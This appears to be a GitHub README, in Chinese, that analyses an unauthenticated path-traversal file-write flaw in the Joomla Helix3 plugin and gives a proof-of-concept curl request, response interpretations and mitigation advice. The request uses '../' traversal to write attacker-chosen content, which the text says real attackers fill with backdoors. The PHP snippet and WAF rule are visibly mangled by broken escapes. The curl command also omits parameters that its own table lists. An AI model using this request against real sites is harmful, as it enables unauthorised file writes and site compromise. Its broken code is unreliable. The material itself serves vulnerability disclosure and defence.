Dr-D25/CVE-2026-49049
GitHub: Dr-D25/CVE-2026-49049
该项目提供了 Joomla Helix3 插件未授权任意文件写入漏洞(CVE-2026-49049)的技术分析与概念验证,帮助安全人员识别并修复该缺陷。
Stars: 0 | Forks: 0
# 漏洞研究 CVE-2026-49049:JoomShaper Helix3 (Joomla) 中的未授权任意文件写入
本仓库包含了针对严重漏洞 **CVE-2026-49049** 的相关材料、技术分析和概念验证,该漏洞是在 CMS Joomla(版本 1.0 至 3.1.0 及其间版本)的过时模板框架 **JoomShaper Helix3** 中发现的。
该漏洞目前正被自动化僵尸网络(特别是作为 **AntonKill** 篡改活动的一部分)在野外积极利用。
## 🔬 漏洞技术分析
问题根源在于 Joomla 的核心 AJAX 处理程序(`com_ajax`),该程序会调用 `plg_ajax_helix3` 插件中的 `onAjaxHelix3()` 方法。组件开发者未实现以下防护措施:
1. 用户身份验证(Authentication Bypass)。
2. CSRF token 检查。
3. 处理 `layoutName` 参数时的路径验证(Path Traversal Validation)。
### 漏洞 PHP 代码逻辑:
```
public function onAjaxHelix3() {
\$input = Factory::getApplication()->input;
\(data =\)input->post->get('data', [], 'array');
\(action =\)data['action'];
\(layoutName =\)data['layoutName'];
// Отсутствует проверка прав! Отсутствует фильтрация пути!
\$filepath = \(layoutPath .\)layoutName;
switch (\$action) {
case 'save':
// Запись контролируемых данных в произвольную директорию сервера
fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
break;
}
}
```
## 🛠 概念验证
为了验证该漏洞,使用了内容类型为 `application/x-www-form-urlencoded` 的 POST 请求。这种参数封装方式是展示此安全漏洞最有效的方法。
### 攻击向量(cURL 命令):
```
curl -sk -X POST \
'https://target.com' \
-d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'
```
### 传输数据详细解析:
| 参数 | 值 / 示例 | 对服务器的意义 |
| :--- | :--- | :--- |
| **`option`** | `com_ajax` | Joomla 中用于处理 AJAX 请求的入口点。 |
| **`plugin`** | `helix3` | 系统标识符,强制 Joomla 将控制权转移给存在漏洞的 Helix3 插件。 |
| **`format`** | `json` | 指示引擎以 JSON 格式返回响应。 |
| **`-d`** | `data[...]` | 请求体,PHP 会自动将其解释为全局数组 `$_POST`。 |
| **`data[action]`** | `save` | 代码中的 `switch` 切换器。指示插件调用**写入(创建)文件**的函数。 |
| **`data[layoutName]`** | `../../../../../../../example` | **核心攻击向量**。`../` 字符迫使操作系统跳出插件的隔离文件夹,进入网站的根目录。`.json` 扩展名将由插件自动添加。 |
| **`data[content]`** | `{"probe":"test"}` | 有效载荷。实际写入到创建的 `example.json` 文件内部的文本数据。在实际攻击中,攻击者会在此处注入恶意的网页篡改代码或后门。 |
## 🎯 服务器响应分析(验证)
在进行渗透测试时,服务器可能会返回不同类型的响应。正确解读这些响应至关重要:
### 方案 A:漏洞被成功触发(文件已写入)
**服务器响应:**
```
{"success":true,"message":null,"messages":null,"data":[]}
```
*解读:* 插件存在漏洞,且没有操作系统级别的限制。文件已在站点根目录成功创建,并可通过 `https://target.com` 访问。该网站需要立即进行清理和隔离。
### 方案 B:插件存在漏洞,但触发了操作系统的防护
**服务器响应:**
```
{
"success":false,
"message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
"messages":null,
"data":null
}
```
*解读:* **部分成功。** Helix3 插件的逻辑已被绕过——它在未授权的情况下接收了数据,并尝试打开文件进行写入(`fopen`)。然而,Linux 操作系统阻止了此操作,因为 Web 服务器用户(例如 `www-data`)**没有对网站根目录的写入权限**。
### 方案 C:系统是安全的(已更新或已移除)
**服务器响应:** 状态 `404 Not Found`、`403 Forbidden` 或空响应 `[]`。
*解读:* 插件已更新至安全版本(3.1.1+),其中添加了身份验证检查,或者该插件已从 CMS 中完全移除。
## 🛡 缓解与威胁消除
1. **更新 / 移除:** 将 Helix3 更新至版本 **3.1.1** 或更高版本。如果未使用该框架,请通过 Joomla 管理面板彻底删除 `plg_ajax_helix3` 插件。
2. **WAF 层面的防护:** 添加规则以拦截恶意的 POST 请求:
if (\(request_method = POST) { set\)test "P"; }
if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
if (\$test = PH) { return 403; }
*免责声明:本材料仅供教育目的及合法的系统安全审计使用。作者不对所提供信息的任何非法使用承担责任。*
标签:CISA项目, OpenVAS, PHP, PoC, Web安全, 暴力破解, 漏洞分析, 蓝队分析, 路径探测